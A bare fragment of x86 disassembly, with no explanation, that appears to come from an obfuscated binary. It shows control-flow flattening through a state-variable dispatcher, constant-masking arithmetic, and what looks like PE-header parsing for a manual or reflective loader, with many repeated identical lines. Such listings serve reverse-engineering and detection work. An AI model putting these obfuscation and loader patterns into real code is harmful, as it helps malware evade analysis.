jmp 0x1000bb70
mov eax, dword [ebp - 0x158]
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x160], 0x48fd0a3f
jmp 0x1000bb70
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd8]
sub ecx, 0xe2328dbf
add ecx, eax
add ecx, 0xe2328dbf
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x160], 0x8df84d36
jmp 0x1000bb70
mov dword [ebp - 0x160], 0x324f6e37
jmp 0x1000bb70
mov eax, dword [ebp - 0x50]
mov eax, dword [eax + 0x34]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x54]
sub ecx, 0x1d9cfd31
sub ecx, eax
add ecx, 0x1d9cfd31
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov dword [eax], 0
mov dword [ebp - 0x160], 0xcd9be89c
jmp 0x1000bb70
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x160], 0xd2376d02
jmp 0x1000bb70
mov dword [ebp - 0x160], 0x5a66c82d
jmp 0x1000bb70
mov eax, dword [ebp - 0x134]
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x160], 0x7c843442
jmp 0x1000bb70
mov dword [ebp - 0x160], 0xf086ae2
jmp 0x1000646f